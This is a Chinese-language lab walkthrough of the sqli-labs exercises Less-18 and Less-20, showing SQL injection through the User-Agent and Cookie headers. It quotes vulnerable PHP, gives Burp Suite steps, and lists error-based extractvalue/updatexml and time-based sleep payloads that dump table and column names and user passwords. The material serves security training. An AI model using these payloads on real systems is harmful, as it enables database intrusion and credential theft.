uagent注入
1、漏洞成因:
當Web應用程序將用戶提供的User-Agent值未經處理直接拼接到SQL查詢語句時,攻擊者可以通過構造惡意User-Agent值閉合原有SQL語句并注入任意SQL代碼。
2、以less-18為例:
相比前幾關,第18關對于uname和passwd的輸入都進行了過濾源代碼如下:
?$uname = check_input($con1, $_POST['uname']);
?$passwd = check_input($con1, $_POST['passwd']);
對于輸入的單引號、雙引號、反斜杠等都進行轉義,無法進行閉合
所以下面的查詢源代碼就不能是注入點
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
而在下面源代碼觀察發現,有一個insert語句,也有報錯的前端回顯、對于uagent
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
?
mysqli_query($con1, $insert);
?
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
下面用burpsuite抓包測試注入點(要傳入正確的輸入才可以走到uagent注入點)
抓到包后進入Request模塊對User-Agent:字段添加一個單引號,然后Response,會看到mysql報錯回顯,證明可以嘗試報錯注入
通過在上面的源碼可以分析出uagent字段后面還有$IP和 $uname兩個字段,所以進行帶入字段和注釋看看回顯
在后加上 ',1,1)# 其Response并沒有報錯的回顯的正常回顯
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 ',1,1)#
接下來進一步可以替換最后一個1來輸入報錯注入的語句
嘗試報錯注入數據庫名:
',1,extractvalue(1,concat(0x7e,database())))# ?
',1,updatexml(1,concat(0x7e,(select database())),1))#
嘗試報錯注入表名:
',1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))))#
?
',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#
嘗試報錯注入列名:
',1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#
',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#
嘗試報錯注入數據信息:
',1,extractvalue(1,concat(0x7e,(select group_concat(username,':',password) from users))))# ?
',1,updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users)),1))#
cookie、
以less-20為例:
同樣和第18關一樣 對于uname和passwd的輸入都進行了過濾源代碼如下:
$uname = check_input($con1, $_POST['uname']);?? ?$passwd = check_input($con1, $_POST['passwd']);
而對于Request頭部也沒有的回顯和INSERT INTO語句
所以http頭部字段沒有注入點了
而往下看看源代碼會發現有個可疑的注入點:
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
?$result=mysqli_query($con1, $sql);
?if (!$result)
?{
?die('Issue with your mysql: ' . mysqli_error($con1));
?}
用burpsuite抓包(刷新已經登錄界面)
查看cookie字段
Cookie: uname=Dumb
這里要用到插件HackBar
選擇cookie模塊輸入內容:
http://192.168.44.148:8081/Less-20/index.php ?
uname=Dumb
執行后發現正常回顯
測試注入點
uname=Dumb' 加上單引號執行后發現有報錯信息:Dumb附近的報錯
使用#注入 嘗試閉合
uname=Dumb'# 執行后正常回顯說明注入點就是這里了!
這里可以嘗試報錯注入和盲注
報錯注入嘗試:
uname=Dumb' and updatexml(1,concat(0x7e,(select database())),1)#
時間盲注嘗試:
uname=Dumb' and sleep(3)# ? uname=Dumb' and if(ascii(substring((select database()),1,1))=115,sleep(3),0)#